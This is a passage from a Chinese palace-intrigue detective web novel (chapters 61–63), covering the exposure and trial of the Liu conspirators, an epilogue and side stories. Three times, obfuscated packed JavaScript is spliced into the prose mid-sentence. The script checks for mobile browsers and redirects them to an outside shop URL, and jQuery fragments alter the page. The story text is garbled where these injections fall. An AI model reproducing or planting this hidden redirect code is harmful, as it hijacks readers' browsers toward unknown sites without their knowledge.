“大人,找找有没有机关。”谢筠熙一边搜查一边叮嘱李时丰。 “这里!”话音刚落,李时丰的声音响起来,谢筠熙忙跟上去,只见李时丰屈起指节敲了敲梳妆台旁的空壁,传来钝闷的敲击声。 暗室!好大的胆子!敢在皇宫里建暗室! 谢筠熙立刻找寻起来,寻找着开这暗门的开关:“大人,留张纸条给殿下他们!” “找到了!”谢筠熙轻轻推动门边的烛台,那墙传来一阵闷响,果真开始缓缓转动起来。 李时丰从书架上随意抽出一本书卷,翻开几页来用梳妆台的胭脂写下线索,倒放在桌边,和谢筠熙一同侧身闪进那暗门里。 61. 对峙 “老三啊,今个怎么有空来看你九弟了?”赵砚宸走进广庆宫的时候,赵泓玉正刚和小明半扯半正经地聊完他们此次进宫的事宜。 看见皇帝进来,赵明赫下意识起身,嘴角扬起大大的微笑:“父皇!” “欸——朕的小心肝,来来,让朕抱抱,几日不见愈发可爱了,朕甚是欣慰啊!” 赵明赫扑进亲生父亲的怀中,被高举起来,又搂紧怀中,差点将一旁的燕德海吓到,他佝偻着身子上前劝说:“诶呦陛下,您当心些龙体,九皇子如今毕竟年岁也长了,如今回宫也是长了不少斤的。” 赵砚宸瞪了燕公公一眼,执意不肯将自己的幺子放下来,没有理会燕德海的劝说,而是缓步走向自己的三儿子:“老三,你给朕评评理,这老燕是在变着相说朕现在没气力,年老衰迟喽——” 燕德海一听冷汗差些流下来,忙紧张兮兮地看向赵泓玉,帝王此时正在兴头上,很显然并不会计较燕公公这些话,赵泓玉轻笑一声,从座位上起身,恭敬同皇帝行了礼,斜睨了一眼那惊慌失措的老太监:“父皇,燕公公也是担心你,同时又为您高兴,九弟进宫以来,也不再像从前那般颠沛流离,如今长势也愈发喜人,这是天大的好事。” 赵泓玉的说辞听得皇帝喜笑颜开,他轻轻放下怀中的幺子,揉揉他绵软的细发,蹲下身来满眼疼惜地握住赵明赫的小手:“你三哥说得对,朕的明赫如今再也不用忍受饥苦之难了,也好也好,慕琴若是看到,也该放下心来了……” “父皇,没回宫前,小明也被姑姑姐姐们照顾得很好!还有我的小伙伴!以前的日子虽拮据,但小明过得也很开心,父皇不要再担心啦!”赵明赫一本正经地抚上皇帝的肩头,小大人似的拍了拍,小脸绷紧的模样让皇帝又笑起来,满眼都是对幺子的喜爱。 赵泓玉在一旁看着,悄悄拿出扇子,轻口桌面。 小明竖起耳朵听到这番动静,心下了然,又露出他那天真无邪的笑容,满眼希冀望向自己高大的父皇:“父皇,今日您提起母妃,小明想起来从前姑姑姐姐同我说母妃是一个特别特别好看,特别特别温柔的人……自进宫以来小明还没见过母妃,也没去过母妃从前住的地方,父皇能带小明去吗?” 他努力睁大眼睛,眼里的星光都要往外冒出来似的,皇帝听了又怜惜又心疼,立刻点头赞同:“好好,都依朕的小心肝,燕德海,还有老三,你们同朕一起去沐枫轩!即刻摆驾!” 燕公公和赵泓玉齐齐应声:“是!” 正当一干人要走出广庆宫,却见有一瘦削的身影正跌跌撞撞走近大门。 燕德海最先认出了那身影:“你这小丫头,来这做什么?见了陛下还不快跪下!” “陛下!陛下!大事不好了!贤妃擅闯沐枫轩,如今还不见了踪影!还……还怪罪于奴婢,打了奴婢一巴掌……” “什么?!!”燕德海忙上前同皇帝禀告。 “你是……朕派去守沐枫轩的小丫头?” 这下皇帝倒是认出来了,听见她口中之言,目色瞬间低沉下来。 “速速前去沐枫轩,速速!” 那厢沐枫轩暗道内。 “大人,这柳盈霜和柳洵好大的胆子,竟敢在皇宫建暗道!”谢筠熙扒在李时丰肩头愤愤出声,暗道幽暗狭窄,李时丰叫她攀着自己走。 “宫中若无陛下准许,必然不能大动干戈,柳洵和柳盈霜必然还没大胆到那种程度,怕是当初建皇宫的那帮人居心叵测早有预谋,贵妃起初也许不知道沐枫轩有暗道,而柳盈霜搬到素荷苑只怕也是故意为之。” 今日来得及没有拿火折子,李时丰向前探着路,一手紧握住谢筠熙,一手拿刀柄轻碰墙壁以确定前行之路。 走了约莫一刻钟,李时丰发现自己刀柄所碰之处逐渐宽敞,立刻子心生警惕停下脚步,将谢筠熙拦在身后。 不远处亮起一抹微弱的光。 跟在身后的谢筠熙抬起头,越过少卿大人的肩也看到了那抹微光,同时发现那闪动的光照在墙壁上,似乎有影子倒映在上,瞬间紧张地反扣住李时丰的手,手心微微冒汗。 “大人,有人。”谢筠熙用极轻的声音提醒李时丰。 “嗯,小心些。”李时丰继续领着她向前走去,只是身子蹲得更低了些。 “乖侄,你来做什么!今日宫里不安宁,那姓李的少卿来了,还带着谢康的女儿!应当是来查柳慕琴的事,若是让他们发现你可如何是好!” 二人走到一处转角,突然听见一阵急切的女声传来,李时丰立刻拉着谢筠熙蹲下不动。 “姑姑,谁叫你如此粗心大意,如此重要的证据竟遗落在柳慕琴屋里,那些人叫我亲自来销毁罪证,你说我怎么敢不来。” 另一道声音传来,是个模模糊糊的男声,听着甚是耳熟。 柳洵!? 谢筠熙目光泠然起来。 “爹那边……你……” “大人他许是有些察觉,但并不尽知,如今陛下重启纵火案,又兼顾柳慕琴的事,爹自己也深陷其中,还不知道要怎么了呢……更何况,北蛮已许诺销毁所有还未被发现的罪证后带我姑侄二人出京,姑姑莫慌。” 柳洵竟然连柳无涯也骗! 谢筠熙牙关有些发紧,听见他们要逃,面上露出鄙夷之色。 想逃?想得美。 正想着,那边的对话声突然变得停顿,四周逐渐恢复一片寂静。 “小心!”李时丰护住身后之人,将横刀往身前挡去,一支利箭破空而出,被李时丰堪堪斩断,二人猛地抬头,借着隐隐微光看见不远处那站立的黑影。 紧接着就是柳洵的声音:“二位,别躲了,出来吧。” 谢筠熙的心登时揪起来,脑中空白闪过,太阳穴突突跳起来。 “走。”李时丰坚定的目光同谢筠熙对上,霎时间就将她的无措压下去一半。 两人握住对方的手,起身抚平衣褶,缓缓走进那处拐角。 走进了才发现那倒黑影竟是一个身长快六尺的壮汉,面容并非大辰人的模样。 “小心!” 李时丰飞身上前,把谢筠熙往旁边猛得一推,刀柄在手,横刀出鞘,直指那壮汉。 那人见状同样从腰上拔出一把刀来,只不过瞬息,二人就过数招,李时丰在此明显占上风,那壮汉所持之刃与李时丰的横刀相撞,发出的铮鸣声将震得虎口一麻,长刀落地,李时丰的横刀眨眼间就架在了那人颈上。 一时之间,剑拔弩张之势顿起,在场的所有人都屏住了呼吸。 “你是北境草原之人,来我大辰是何目的,说!”李时丰的横刀划过此人皮肤,留下一道细细的血痕。 柳洵在一旁显然没了方才那底气十足的姿态,看着眼前的一切竟有些微微发颤。 谢筠熙方才被推到角落,此刻才回过神,急忙抵着墙角站起身来,走入那微光之处才发现,除了被李时丰所指之人,柳洵姑侄身边还站着两个衣着异常之人,只是那被指之人应当是他们的头目,此刻也不敢轻举妄动。 “柳洵,柳盈霜,你们背信弃义,与外蛮勾结,又至柳贵妃与镇北将军夫妇于死地,蒙骗圣上,无耻至极!如今证据确凿,陛下必治你们死罪!!” 谢筠熙此言,振声发聩,犹如一团火将在场所有人都点燃。 柳洵目眦欲裂,既恐惧又愤怒,硬扯着嗓子反驳谢筠熙:“你懂个屁!身为谢家独女,你懂个屁!我所做的一切!是在为我柳家铺路!为我大辰之盛铺路!” “铺路?!大辰的路何时轮得到你等鼠目寸光之辈来铺!天子脚下,行此凶事,为一己私欲害圣上龙子至今才得归,又害固守边疆战功赫赫的将军葬身火海,还把你爹骗得团团转,把二皇子骗得团团转,柳洵,你好手段!!就算你今日得利,日后也只能成为遗臭万年之人,被历史永远刻在耻辱柱上!永生永世不得超生!” 谢筠熙喊得几欲破音,字字诛心,将柳洵气得几欲吐血,一个箭步冲上来就想掐谢筠熙的脖子,却被那北境之人的刀拦下:“不可动。” “你……让我杀了此人!让我杀了此人!”柳洵挣扎之中,被牢牢钳制,柳盈霜见此只敢吓得跌坐在地,连站都站不起来。 “你们的事迹已经败露了,今日你们在此,绝对不是我的对手,且衡王已在此处安放人手,此刻不过是瓮中捉鳖,束手就擒,留你全尸。”李时丰将目光放回眼前的北蛮身上,强压恨意,剑眉皱起,嘴角下压,眼中所燃之火几乎要将此人烧穿。 “你是季项年的人?”那人目色微敛,一丝不可查的恐惧之色爬上心头。 “我乃镇北将之子——季,荆,南。”李时丰一字一顿回道。 “季荆南?!!”那北蛮人还没说什么,柳洵先叫起来。 “难怪祖父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……你你你要干什么?!”柳盈霜的尖叫声再次响起,谢筠熙不耐烦地将她拖到一边,捂住她的嘴巴威胁道,“你别说话,吵死了,我问你答,点头或摇头就行了。” 谢筠熙拿手指指向这个被吓破胆的女人:“你身上是不是有害贵妃难产的罪证。” 上来直指要害,将柳盈霜问得有些发懵,但见这个女人又活动活动手腕,将那利器藏身处露出,她流着泪点了点头。 谢筠熙没有动作,反倒松开了柳盈霜,又转悠悠走向柳洵,语气带威胁之势:“柳洵,你以为陛下为什么默许大理寺的人随衡王进宫,又为什么至今不对我爹下决断?” 柳洵张嘴,发出的只有沙哑的气音。 “你完了。” 谢筠熙刚说完,暗室外就传来一阵纷杂的脚步声。 那还在钳制柳洵的另一人和自己的头目对上目光,二人立刻动身,一人扑向谢筠熙,一人直接撞上李时丰的刀刃上。 这次李时丰反应过来,立刻冲谢筠熙大喊:“不好,他一心求死,快躲开!” 谢筠熙立即闪身,可还是晚了一步,那人的匕首划过谢筠熙的背部,剧痛袭来,下一秒此人便成为了李时丰的刀下魂。 谢筠熙倒在地上,鲜血自背后蔓延开来,快速失血让她双眼有些发黑,但勉强能看清眼前那人焦急的模样。 “没事的……殿下他们来得真是……及时……死不了死不了。”一边说着又一边抚上李时丰的手背以示安慰。 “殿下!”李时丰看见那熟悉的白色身影,连忙喊出声。 可那白色身影身后出来的,却是另一个更加瞩目的存在。 “……陛下。”李时丰抱着谢筠熙慌忙起身,被皇帝制止。 “贼人证据确凿,可呈贡证据,不日审候。”赵泓玉向前退开一步,同皇帝恭敬请命,一边用余光示意李时丰赶紧带谢筠熙离开。 “殿下,谋害柳贵妃之物,就在贤妃身上。”临走前,谢筠熙用昏迷前的最后一口气同赵泓玉擦肩时嘱咐。 “来人,把此二人先行押入大牢,此三人尸首送往大理寺搜查。” 皇帝下令后转身离去,徒留这满地狼藉。 62. 尾声 谢筠熙负伤,九皇子向皇帝请命召来御医为其治疗;李时丰则同赵泓玉被圣上传去御书房进行问话。 李、谢二人就以此为由顺理成章地待在了宫中。 柳洵和柳盈霜到底是有贼心没贼胆,虽蛰伏多年,但见如今事情败露,又被下了诏狱,等待审讯,皆是一副看似冷静实则惧怕不已的模样,看守关押了一日一夜,硬是一口饭菜都不肯吃,将自己弄成浑浑噩噩的模样。 大理寺的人从那些个尸体上找到了北蛮人与柳氏姑侄通信的证据,狱卒则成功取到了柳盈霜还未来得及销毁的残害柳贵妃的香料,并送去太医院进行检验。 所有的一切,都在井然有序地进行着。 诏狱。 杜寿年留了些人手在大理寺专门负责尸体的搜检,独自入宫,同狱卒说明了来意,这才得以进入那漆黑的地牢。 来到那处虽简陋但丝毫不见被押之人窘迫之状的牢狱前,杜寿年轻叩木板,将里面那人叫醒。 “见过谢相,可否与杜某一叙。”杜寿年恭敬行了个见面礼。 “进来吧。” 杜寿年喜上眉梢,忙叫守在旁边的狱卒打开门锁,径直踏入其中。 谢康依旧是一副精神十足的模样,鬓角有些斑白,却也面色红润,有生龙活虎之态,衬得那双慈祥的双眼愈加明亮起来。 “大人,不日陛下便要亲审柳氏,您也就快要重新和小女团聚啦!” 谢康微微一笑,邀请杜寿年坐下说话:“杜大人前些日子可是南下去了?” 杜寿年转过头,有些惊诧:“大人是如何得知的?” “啊,只是鄙人的猜测罢了。”谢康摆摆手,又将话题一转,“我家那小女是不是没有老老实实待在府中啊?” 杜寿年凝噎半晌,犹豫之下还是小声告诉了谢康实情。 “给大理寺添麻烦了,鄙人代小女向诸位道谢。” 谢康正要施礼,却被杜寿年慌忙制止:“欸欸欸,这怎么使得呢,大理寺感谢令爱还差不多。” 谢康闻言面色有些微变:“此话是……何意?” “实不相瞒,大人,谢小姐在最近这些案子里可替我那不成器的徒儿帮了不少忙,如今九皇子邀请衡王和我那徒儿进宫,其实令爱也是助皇子回宫的功臣之一啊……” “她如今亦在宫中?”谢康措不及防抓住杜寿年的手臂,面上的担忧之色肉眼可察。 “大人不必担忧,令爱必然不会有事。”杜寿年急忙安慰起谢康。 “欺君是大罪。”谢康心中忧虑不减。 杜寿年见此,环顾一圈四周,以二人才能听到的声音同谢康担保:“放心,大人,陛下明察秋毫,且慧眼识珠,极爱人才,您不相信我也该相信陛下。” 谢康缓缓抬头,最后什么都没说,只是重重叹了口气。 经过几日的修养,谢筠熙终于可以正常行动,只是还不能跑动,眼见着离审判柳洵之日越来越近,谢筠熙和李时丰和小明申请出广庆宫看看。 “你出去作甚?待在这里好好养伤,如今外面的局势你不方便出面。”李时丰把谢筠熙轻轻摁回被褥间。 “那日……陛下已经看见我了吧……他知道我是谁吗?”谢筠熙扒住被沿,有些举足无措。 “殿下不是说了就算你身份暴露他也自由打算吗?不必担忧此事。”李时丰揉了揉谢筠熙那有些杂乱的毛发。 “我只是觉得……我应该更加坦诚一些。”谢筠熙将头转到一边。 “更加坦诚?”门外突然传来一道威仪之声,将屋内的二人吓得俱直起身来。 “见过陛下!”谢筠熙掀开被褥跌跌撞撞要下床,却被皇帝亲自制止。 “谢今安,不必行此虚礼,你伤未好,躺着罢。”赵砚宸向身后的燕德海使了个眼色。 燕公公立刻上前,正要来扶谢筠熙,却被李时丰上前一步隔开:“不劳烦公公,交给下官便好。” 燕公公尴尬笑笑,眼里却露出意味深长的意味,同皇帝对视一眼,得到默许后又退到一边。 “时丰啊,果真如老三说的那般,你与谢小姐关系匪浅啊。”皇帝摩挲着下巴,一副兴味盎然的模样。 “陛下此次前来,所为何事?”李时丰替谢筠熙掖好被角,又低头在皇帝面前拘礼。 “朕是来慰问这位技艺非凡的姑娘,顺便来道个谢的。”赵砚宸找了个椅子坐下,现在倒是没有一点皇帝的架子。 “陛下,臣女怎么受得起陛下的道谢,为国解忧这是臣女的份内之事罢了。”谢筠熙差点被吓得心脏骤停。 皇帝!这可是活生生的皇帝!他竟然和我道谢!! “对了,朕来,还有一件事。”赵砚宸顿了顿,接着往下说,“今安啊,你爹不日便可出狱了,朕让杜寿年去查过,你爹干干净净,两袖清风,贪墨一事纯属妄言。” “多谢陛下!”谢筠熙听罢这才有些喜色,但眉间依旧有三分疑虑未解,“陛下,臣女其实……还有些事不太理解。” “好了,朕今日先探望到这了,燕德海,送朕回去吧。”赵砚宸点到为止,没有继续回答谢筠熙的疑惑,转身吩咐完燕德海便跨门而出。 谢筠熙只得同皇帝恭敬告别,复又躺回被褥中,闭上眼仰面沉思。 “你刚刚想问陛下什么?”李时丰坐到床畔。 “好多好多问题……罢了,等我爹出狱了我再去弄清楚吧。”谢筠熙避开伤口小心翻过身,同李时丰对上视线。 二人相视无言。 终于到了判罪那日,朝堂之上,柳洵和柳盈霜面无血色,被押到众官之间,赵砚宸毫无感情地俯视这两个自私自利之人,没有给他们一分好脸色,却没有急着问话,而是将目光转向柳无涯:“国师,你们柳家的人,是何意啊?” 柳无涯看上去无甚波澜,只是依言出列,手持象笏缓缓低头,跪倒在地上,向皇帝请罪:“臣从未想过,柳家竟然出了这样两个卑鄙无耻之人,望陛下严惩。” 柳洵和柳盈霜见状已经知道自己被柳家抛弃的结局,眼里顿时无光,已是一副绝望之色。 “你们两个,抬起头来。”赵砚宸没有立刻理会柳无涯,而是又转向阶下跪着的那两人。 “是……”柳氏姑侄的声音俱是颤抖不已。 “柳盈霜,你残害血亲,又欲害朕的皇嗣,和柳洵狼狈为奸,自北蛮之人手中谋利;柳洵,你为一己私欲,私通敌国,残害朕的忠良之臣,你们两个可认罪?” 众臣惊诧的目光投向地上跪着的两人,朝堂之上如同炸开惊雷一般,议论声顿起。 柳无涯始终没有抬头,只是无言沐浴在众臣愤怒与不可置信的目光之中,就如一尊风化的雕塑,在暗光中一动不动。 “认……臣与姑姑鬼迷心窍……”柳洵卸了力,一屁股摔坐到地上,目光溃散,双眼通红,一旁的柳盈霜则是直接昏死过去。 “但!!臣要揭发!!!”柳洵也不知哪里来的力气,突然出声,他那阴沉的目光死死盯住柳无涯和赵璟曜的方向,眼中似有烈火焚烧。 “说。”赵砚宸缓缓开口。 “祖父!你以为你逃得了吗?!还有殿下!!当初火烧镇北将宅邸的时候,你们可是出了很大的一份力!!若是没有你们,我又怎么能有谋害季项年和杨珺的人手,又怎么能把这件事层层压下去!!还有……哈哈哈哈哈还有香楼!!经营多年,哪里是我一个柳家庶孙可以一人担得起的!!郭睿当选榜眼是你和殿下的手笔吧……我死了,你们也得给我陪葬!!” 柳洵拖着满身的伤痕跌跌撞撞站起来,于堂上大喊的模样,状若疯魔,不似人样,将一旁昏死的柳盈霜也给硬生生吓醒过来,见柳洵那副模样,被吓得上前死死抱住他的腿,眼角通红竭力嘶吼:“柳洵!你疯了!你怎么可以这么说爹!怎么可以……” “姑姑,放开我。”柳洵一把甩开柳盈霜,将她重重摔在地上。 “陛下,大理寺如今查出来的事可不只是我柳洵这一桩吧,何不今日开诚布公全部都坦白清楚,也算是为民除害对吧哈哈哈哈哈哈!!” “来人,把他拖下去,不日问斩,柳盈霜剥去妃位,降为平民,永世不得再入京城!” 皇帝龙颜大怒,叫狱卒把这两人拖下去再关进大牢。 众臣哗然。 “给朕静下来!!” 皇帝一声怒吼将所有人都吓得不敢再言语,而是低头恭敬听候发落。 “柳无涯,老二,你们自己交代,有这事吗?”赵砚宸坐回龙椅上,太阳穴被气得突突跳。 “父皇……”赵璟曜不敢抬头。 “父皇,皇兄不答,臣弟替皇兄答。”赵泓玉上前一步,同皇帝请命。 “老三,不必说了,朕知道了,今日先散朝。”皇帝重重叹上一口气。 “是!吾皇万岁万岁万万岁!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900982|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众臣如流水般退去,个个提心吊胆,大气不敢出。 谢筠熙后来才被告知,此事一过,柳无涯被皇帝宣告罢免官职,告老还乡,府院尽数被抄,柳家之人,只有柳贵妃一人得以幸免,甚至被皇帝追忆,追封皇后之位;赵璟曜被流放边疆,降为两姓王,永世不得回京。 谢康沉冤昭雪,得以出狱,而当初检举他的官员,则被查出实为柳党一族,也被下狱。 朝堂之上,凡是与柳家之人扯上关系的,要么被判刑,要么被降职,一时之间,大辰朝堂被大换血,局势大变。 当然,赵泓玉如今得势,顺利成为了储君,待圣上退位,则可成为下一任接管大辰江山之人。 而李时丰,镇北将之子的身份终是再次被放到明面上,他主动向圣上请命,恢复镇北将传承,成为新一代的镇北将军,召集旧部,前往北萧以北蛮居心不良清除奸细为由,率兵出征讨伐,花昀自柳家脱身,向李时丰征得同意,加入镇北军,和李时丰一同北上御敌。 离开之前,在李时丰和赵泓玉的极力举荐之下,谢筠熙暂入大理寺,代少卿一职,这也是谢筠熙根本没有想到的一点,不过既来之则安之,她顺带在任职之余,又同圣上争得意见,专开一门修复之术的课程,亲自向大辰人教授。 至此,大辰河山再次元气大盛。 两年后。 北萧大捷归来,谢筠熙和李时丰及众故人相办酒宴,席间相谈甚欢。 “大人?大人?怎么醉成这样。”艾诺晃了晃谢筠熙的肩膀,在她面前伸出三根手指晃了晃。 “这是几?” “艾诺姑娘,大人醉了便不要再玩弄她了,我们将军会吃醋的……” 赵泓玉笑了笑,还是那副狡黠的模样,偷偷将目光瞥向一旁正襟危坐的李时丰……哦不对,应当是季将军。 “小姐,别喝了别喝了,喝酒伤身。”蕙兰在一旁劝阻把酒壶直接往嘴里塞的谢筠熙,满脸担忧。 “将军……这……”花昀眼见着自家将军脸色越来越差,有些手足无措起来。 “艾诺,蕙兰,你俩真……真可爱,快来……嗝,让本官香一个!” 谢筠熙此时被酒精麻痹大脑,已然不知天地为何物,左手艾诺,右手蕙兰,将他们拥在怀中,俨然一副沉迷美色的奸官模样。 李时丰的脸此刻真是比锅底还黑,眼见着谢筠熙那嘴撅得老高。 “太子殿下,臣先告退。”李时丰措不及防站起身,径直走向谢筠熙,有力的双臂将她一把揽入怀间,不故谢筠熙在臂弯间的挣扎,当着众人的面走出宴厅,狠狠关上房门。 “没事,我们继续,今日不论尊卑,不论何等身份,虽然宴席主人已走,但我们仍可共饮同乐!”赵泓玉将自己的酒杯斟满,同席间之人一起举起,短暂的沉默过后,宴厅里再次热闹起来。 直到谢筠熙被放到柔软的床铺上,嘴里依旧没有停下对李时丰的咒骂:“李时丰!!你无耻!你……” 唇间被什么柔软的东西附上,带着些湿热,将谢筠熙满嘴的话语堵在喉间,一句话都发不出来。 一吻毕,李时丰压在谢筠熙身上,含情的双眸注视着心爱之人,二人默而不语,房间里的旖旎氛围顿时蔓延开来。 “大……大人……”谢筠熙情急之下下意识喊了从前的称呼,双眸蒙上水雾,破碎的话语断断续续说出口,“那个……大人……男女授受不亲啊……你……” “谢筠熙!千年木头都没有你的脑子锈!你同我在一起不就不会男女授受不亲了!”李时丰难以置信地瞪了谢筠熙一眼。 在……在一起?! 谢筠熙心中那始终处于萌芽状态的小苗终于在此刻破土而出:他……他心悦于我……这这这…… “咕咚” 那是谢筠熙咽口水的声音。 “怎么?你不同意?”李时丰的眼里逐渐染上些怒意。 “不不不……不素……”谢筠熙急得舌头打架,使劲摇了摇头。 “只是有些措不及防。”谢筠熙无助地捂住脸,尽力遮掩脸上的红霞。 “那边是同意。”李时丰说罢毫不留情地将谢筠熙的手扒开,再度吻了上去。 “唔……” 今夜,屋外欢声阵阵,整个大辰都沉浸在欢愉之中,在这非凡的一天,绚烂的烟花飞上城头,万民同乐,终是河清海晏。 今日之安,时和岁丰。 63. 番外:往事回忆录 (1)假死(秋芸往事) 秋芸进入香楼以来,从刚开始的反抗,到最后的麻木,不过用了半年,那老鸨丑恶贪婪的嘴脸在她眼前总是挥之不去,如同梦魇般将她拖进迷雾里反复捶打,直至奄奄一息。 她总想着要逃出去,逃出这个人间炼狱,这半年间她从未放弃过这个想法,期间还真让她成功了一次,但代价是两条腿。 在大街上拖着脏污的身子乞讨时,此时她早已弃尊严于不顾,只是想要有命在这世上活下去,然后再为阿娘和妹妹们报仇。 “拿着这些铜钱买点吃食吧,看你也怪可怜的。” 她守着不知从何处扒来的破碗,蓦然间听见上方有人在说话,眼前站了一双笔直的腿,再往上,是一把明晃晃的长剑。 恍惚之间,她想抬头看看那人是何模样,朦胧溃散的目光刚刚对上,就见那人如同碰刺般一开目光,还没等秋芸看清,他就拔腿离开。 碗里的那两枚铜钱还在悠悠打着转,碰到碗壁时发出叮铃哐啷的撞击声,将秋芸的意识唤回来些。 这人怎么回事…… 不过秋芸也顾不上探究这些了,她真的太饿太饿,就快要晕倒。 但她走不了,只能拖着身子爬,沿街的小贩看见她,避之不及,更不会卖她东西吃。 昏死过去之前,她似乎看见有人在耳边唤她。 是谁…… 身子像溺水般,不停往下沉去,秋芸的耳边传来老鸨那尖利的叫骂声,又看见嫖客强迫自己压来的肥大身躯,她想要尖叫,想要反抗,但一点都动不了,嗓子也同哑了般发不出一点声音…… 窒息感袭来,秋芸终于从噩梦中惊醒。 猛然睁眼,看见的不是香楼那纸醉金迷的装横,而是一间透着白日自然光的秀雅小屋。 “这是哪里……”秋芸怀着惊诧出声,这才发现刚刚自己是又被魇住了。 “你醒了!太好了,快来喝些药。” 秋芸这才发觉,身边站着的,似乎是一个与她同岁的姑娘,长得清秀婉约,看着让人很难不生出好感。 她紧绷的神经不由自主松懈了些,才发现自己原本的衣服早已被脱掉,换上了一身干净的衣裳。 “这是……” 见她疑惑,面前的女子善解人意地替她解答了疑惑:“爹爹从街上将你捡来,他是男子,就拜托我替你换身干净衣裳啦。” “多谢……”秋芸垂下眸子,有些不敢与那温良的女子对视。 “对了,我叫谢今安,你叫什么名字?” 气氛有些尴尬,那女子却笑笑,还是抛出话题企图打破这僵局。 “我……秋芸。” “草字头,流云的云吗?”那女子竟然一次性猜出了自己的名。 “是。” “真好听……” “咚咚” 门板突然响起来,秋芸下意识绷紧了身子,大气也不敢出。 “是我爹,别害怕。”谢今安轻声安慰着秋芸,起身将门打开。 进来的是一个慈眉善目的中年男子,与谢今安的气质如出一辙。 后来秋芸才知道,救了她的是当朝丞相,在谢家休养的这段日子,应当是她此生第二次感受到何为幸福的满足。 直到她看见郭睿那个畜生进了香楼。 那日辞行,她没有和谢家父女说明,只是留下纸条,便自行离去,她想,大仇未报,不可牵连无辜之人,香楼虽是噩梦,但不得不去。 谁知再去香楼时,那老鸨对她的嘴脸便变了一副模样。 “秋芸啊,就知道你会自己回来~有大人要见你~” 这样谄媚的语气秋芸只在她面对那些达官贵人的时候听见过,顿时觉得胃里有些翻江倒海,她强忍着恶心应下她的话,行囊还没放下,就被迫进了高层的雅间。 她看到了那柄熟悉的剑。 是他! “果真相像,世间竟有如此奇绝之事。”给了她两枚铜板的人站在一个紫衣老人身边,和她目光相接,看不清情绪,可秋芸惊讶地发现,那张脸竟与她长得一模一样。 “你可愿意为老朽办事?”那紫衣老人沉沉开口,将秋芸的注意力吸引回来。 “我要报仇。”秋芸目光坚定,缓缓说出这几个字。 “报什么仇?” “我的妹妹与娘亲被奸人所杀,那人最近常出入香楼。”秋芸眼底浮起杀意。 “何人?” “郭睿。” 那紫衣老人听罢,却有些沉思,捋起胡子似乎是在思考,半晌才回答:“好,小姑娘,你替我办事,我教你读书习武,但是,你必须舍去自己的真实姓名,一生只为我家办事。” 秋芸握紧拳头,她虽然想杀了郭睿,但此时只是一个手无缚鸡之力的女子,倒不如从长计议。 思索良久她咬紧牙关,嘴里缓缓吐出来一个“好”字。 于是她假死香楼,跟着那紫衣老人改了姓,从那天之后,她便叫作“花芸”,和给她铜板的男人一个姓。 再后来……世事无常,她终是知道了害死自己的幕后黑手是谁…… 香楼案之后,世间再也没有第二个“花昀”。 大仇得报,无怨,无悔。 (2)初见(赵泓玉往事) 这是赵泓玉第一次见到李时丰时候的事。 彼时皇帝生辰,镇北将军带着年幼的儿子风尘仆仆地于边关回来,特意为皇帝庆生。 赵泓玉自幼丧母,小小年纪就深谙皇宫凶险,少年老成让他深知此次宴会对于自己有多重要。 一定要给父皇留下深刻的印象! 小皇子将自己打扮得风光霁月,远远望去好一个芝兰玉树的小小君子。 他此前被当朝国师柳无涯收为徒弟,早已有些风光,此刻更是吸引了宴席上许许多多人的目光。 “老三,今日这身打扮不错。”皇帝欣慰地望向自己的儿子,眼里满是认可。 “老二,你也不错。”说罢,赵砚宸又转过头去夸赞了前皇后的二儿子赵璟曜。 赵璟曜有些不满于父皇的夸奖顺序,冲赵泓玉狠狠翻了个白眼。 不过赵泓玉一点也不在乎,二哥瞧不起他也不是一天两天的事了,所以他只是无视这份不屑,谢过父皇的夸奖,又识大体地同皇帝表达谦逊:“父皇,儿臣与二哥身为您的儿子,自然不可以为您丢了脸面,不过比起儿臣,二哥今日的打扮才尽显我皇家风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905496|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采,弟弟佩服。” 本着懒得和赵璟曜计较但也要恶心他几句的想法,赵泓玉露出标准的微笑,将自己那大气之风展现得淋漓尽致。 皇上自然龙颜大悦,对自家三儿子的风姿赞叹不已。 赵璟曜吹胡子瞪眼和赵泓玉怒目而视,但也不敢在父皇生辰宴上造次,只得默认他那好弟弟的说辞得以作罢。 此次宴席除了见证各地与异国外番赠予皇帝的贺寿礼,还有许多竞技类比赛,诸多年岁尚幼的公子小姐自然最期待这些。 三皇子大放异彩,礼乐射御书数俱得了头彩,叫皇帝抚掌称好,更是将许多人的目光都放在了这三殿下身上。 宴席正酣时,赵泓玉实在有些受不住源源不断前来祝酒的大臣与各类人士,以散心为借口出了宴厅,独自往后院走去。 走到池塘边上,他重重叹出一口气,在迷迷糊糊之间看见了一道挺拔的身影。 当他凑近看时,才发现是个同他年岁相仿的官家子弟。 “你是何人?吾是觉得殿内有些拥挤,出来散心的,你又是出来干什么的?” 那少年不说话,只是转过身和皇子面面相觑。 赵泓玉有些不耐烦:“为何不报上名来,这是对吾不敬!” “属下镇北将军之子季荆南,见过三殿下。”那人终于开口说话,同时和赵泓玉行了个礼。 “早说不就好……” 赵泓玉话还没说完,一支利箭破空而出,直冲赵泓玉面门而来! 